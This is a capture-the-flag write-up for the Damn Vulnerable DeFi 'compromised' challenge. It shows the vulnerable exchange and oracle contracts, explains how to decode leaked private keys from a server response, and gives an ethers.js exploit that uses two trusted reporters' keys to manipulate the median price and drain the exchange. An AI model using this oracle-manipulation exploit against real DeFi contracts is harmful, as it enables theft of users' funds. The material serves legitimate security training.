Challenge:
Our seventh challenge is called ‘compromised’ and it comes with the following prompt:
While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server. This is a snippet:
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34
A related on-chain exchange is selling (absurdly overpriced) collectibles called "DVNFT", now at 999 ETH each
This price is fetched from an on-chain oracle, and is based on three trusted reporters: 0xA73209FB1a42495120166736362A1DfA9F95A105,0xe92401A4d3af5E446d93D11EEc806b1462b39D15 and 0x81A5D6E50C214044bE44cA0CB057fe119097850c.
Starting with only 0.1 ETH in balance, you must steal all ETH available in the exchange.
Looks like we have to find a way to steal from the exchange.
The contracts for this challenge are located in contracts/compromised/. The contract source code can be found below:
Exchange.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./TrustfulOracle.sol";
import "../DamnValuableNFT.sol";
/**
* @title Exchange
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract Exchange is ReentrancyGuard {
using Address for address payable;
DamnValuableNFT public immutable token;
TrustfulOracle public immutable oracle;
event TokenBought(address indexed buyer, uint256 tokenId, uint256 price);
event TokenSold(address indexed seller, uint256 tokenId, uint256 price);
constructor(address oracleAddress) payable {
token = new DamnValuableNFT();
oracle = TrustfulOracle(oracleAddress);
}
function buyOne() external payable nonReentrant returns (uint256) {
uint256 amountPaidInWei = msg.value;
require(amountPaidInWei > 0, "Amount paid must be greater than zero");
// Price should be in [wei / NFT]
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
require(amountPaidInWei >= currentPriceInWei, "Amount paid is not enough");
uint256 tokenId = token.safeMint(msg.sender);
payable(msg.sender).sendValue(amountPaidInWei - currentPriceInWei);
emit TokenBought(msg.sender, tokenId, currentPriceInWei);
return tokenId;
}
function sellOne(uint256 tokenId) external nonReentrant {
require(msg.sender == token.ownerOf(tokenId), "Seller must be the owner");
require(token.getApproved(tokenId) == address(this), "Seller must have approved transfer");
// Price should be in [wei / NFT]
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
require(address(this).balance >= currentPriceInWei, "Not enough ETH in balance");
token.transferFrom(msg.sender, address(this), tokenId);
token.burn(tokenId);
payable(msg.sender).sendValue(currentPriceInWei);
emit TokenSold(msg.sender, tokenId, currentPriceInWei);
}
receive() external payable {}
}
TrustfulOracle.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
/**
* @title TrustfulOracle
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @notice A price oracle with a number of trusted sources that individually report prices for symbols.
* The oracle's price for a given symbol is the median price of the symbol over all sources.
*/
contract TrustfulOracle is AccessControlEnumerable {
bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256("TRUSTED_SOURCE_ROLE");
bytes32 public constant INITIALIZER_ROLE = keccak256("INITIALIZER_ROLE");
// Source address => (symbol => price)
mapping(address => mapping (string => uint256)) private pricesBySource;
modifier onlyTrustedSource() {
require(hasRole(TRUSTED_SOURCE_ROLE, msg.sender));
_;
}
modifier onlyInitializer() {
require(hasRole(INITIALIZER_ROLE, msg.sender));
_;
}
event UpdatedPrice(
address indexed source,
string indexed symbol,
uint256 oldPrice,
uint256 newPrice
);
constructor(address[] memory sources, bool enableInitialization) {
require(sources.length > 0);
for(uint256 i = 0; i < sources.length; i++) {
_setupRole(TRUSTED_SOURCE_ROLE, sources[i]);
}
if (enableInitialization) {
_setupRole(INITIALIZER_ROLE, msg.sender);
}
}
// A handy utility allowing the deployer to setup initial prices (only once)
function setupInitialPrices(
address[] memory sources,
string[] memory symbols,
uint256[] memory prices
)
public
onlyInitializer
{
// Only allow one (symbol, price) per source
require(sources.length == symbols.length && symbols.length == prices.length);
for(uint256 i = 0; i < sources.length; i++) {
_setPrice(sources[i], symbols[i], prices[i]);
}
renounceRole(INITIALIZER_ROLE, msg.sender);
}
function postPrice(string calldata symbol, uint256 newPrice) external onlyTrustedSource {
_setPrice(msg.sender, symbol, newPrice);
}
function getMedianPrice(string calldata symbol) external view returns (uint256) {
return _computeMedianPrice(symbol);
}
function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory) {
uint256 numberOfSources = getNumberOfSources();
uint256[] memory prices = new uint256[](numberOfSources);
for (uint256 i = 0; i < numberOfSources; i++) {
address source = getRoleMember(TRUSTED_SOURCE_ROLE, i);
prices[i] = getPriceBySource(symbol, source);
}
return prices;
}
function getPriceBySource(string memory symbol, address source) public view returns (uint256) {
return pricesBySource[source][symbol];
}
function getNumberOfSources() public view returns (uint256) {
return getRoleMemberCount(TRUSTED_SOURCE_ROLE);
}
function _setPrice(address source, string memory symbol, uint256 newPrice) private {
uint256 oldPrice = pricesBySource[source][symbol];
pricesBySource[source][symbol] = newPrice;
emit UpdatedPrice(source, symbol, oldPrice, newPrice);
}
function _computeMedianPrice(string memory symbol) private view returns (uint256) {
uint256[] memory prices = _sort(getAllPricesForSymbol(symbol));
// calculate median price
if (prices.length % 2 == 0) {
uint256 leftPrice = prices[(prices.length / 2) - 1];
uint256 rightPrice = prices[prices.length / 2];
return (leftPrice + rightPrice) / 2;
} else {
return prices[prices.length / 2];
}
}
function _sort(uint256[] memory arrayOfNumbers) private pure returns (uint256[] memory) {
for (uint256 i = 0; i < arrayOfNumbers.length; i++) {
for (uint256 j = i + 1; j < arrayOfNumbers.length; j++) {
if (arrayOfNumbers[i] > arrayOfNumbers[j]) {
uint256 tmp = arrayOfNumbers[i];
arrayOfNumbers[i] = arrayOfNumbers[j];
arrayOfNumbers[j] = tmp;
}
}
}
return arrayOfNumbers;
}
}
TrustfulOracleInitializer.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./TrustfulOracle.sol";
/**
* @title TrustfulOracleInitializer
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrustfulOracleInitializer {
event NewTrustfulOracle(address oracleAddress);
TrustfulOracle public oracle;
constructor(
address[] memory sources,
string[] memory symbols,
uint256[] memory initialPrices
)
{
oracle = new TrustfulOracle(sources, true);
oracle.setupInitialPrices(sources, symbols, initialPrices);
emit NewTrustfulOracle(address(oracle));
}
}
The hints and solutions for this level can be found below:
Hint 1:
https://vomtom.at/ethereum-private-and-public-keys/
Hint 2:
https://gchq.github.io/CyberChef/
Solution:
The biggest hurdle for this challenge to overcome is figuring out what the HTTP response contains. Once we figure that out, the rest comes down to implementing our exploit. The HTTP response contains two long hex strings. If we throw it in cyber chef using the magic recipe (the decode path looks like this: Hex -> UTF-8 -> Base64), we see that it contains a 64 character hex string. Interestingly enough, this is the exact length of an Ethereum key. Looking at the contract source code for this challenge, we can tell that the exchange relies on a median price as retrieved a trusted oracle. This median price is taken from 3 trusted sources. In other words, if we can manipulate two of the sources then we can arbitrarily change the exchange’s price for an NFT to whatever we want. It would be really convenient if we could sign transactions on behalf of two of the trusted sources.. As it turns out, we do in fact have the private key to two of the trusted sources and we can complete this challenge. Using this, we can set the price of the NFT to 0, allowing our attacker to buy one for a very small amount. Then, before our attacker goes to resell the NFT, we can set the price of that NFT to the exchange’s balance of ETH. Now our attacker has all of the ETH the exchange started with and we have completed the challenge.
Ethers Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
trusted_source1 = await new ethers.Wallet('0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9', ethers.provider);
trusted_source2 = await new ethers.Wallet('0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48', ethers.provider);
await this.oracle.connect(trusted_source1).postPrice("DVNFT",0);
await this.oracle.connect(trusted_source2).postPrice("DVNFT",0);
my_token = await this.exchange.connect(attacker).buyOne({ value: ethers.utils.parseUnits("0.1", 17)});
const tw = await my_token.wait();
const event = tw.events.find(event => event.event === 'TokenBought');
const [from, tok, value] = event.args;
await this.oracle.connect(trusted_source1).postPrice("DVNFT",EXCHANGE_INITIAL_ETH_BALANCE.toString());
await this.oracle.connect(trusted_source2).postPrice("DVNFT",EXCHANGE_INITIAL_ETH_BALANCE.toString());
await this.nftToken.connect(attacker).approve(this.exchange.address, tok);
await this.exchange.connect(attacker).sellOne(tok);
await this.oracle.connect(trusted_source1).postPrice("DVNFT",INITIAL_NFT_PRICE.toString());
await this.oracle.connect(trusted_source2).postPrice("DVNFT",INITIAL_NFT_PRICE.toString());
});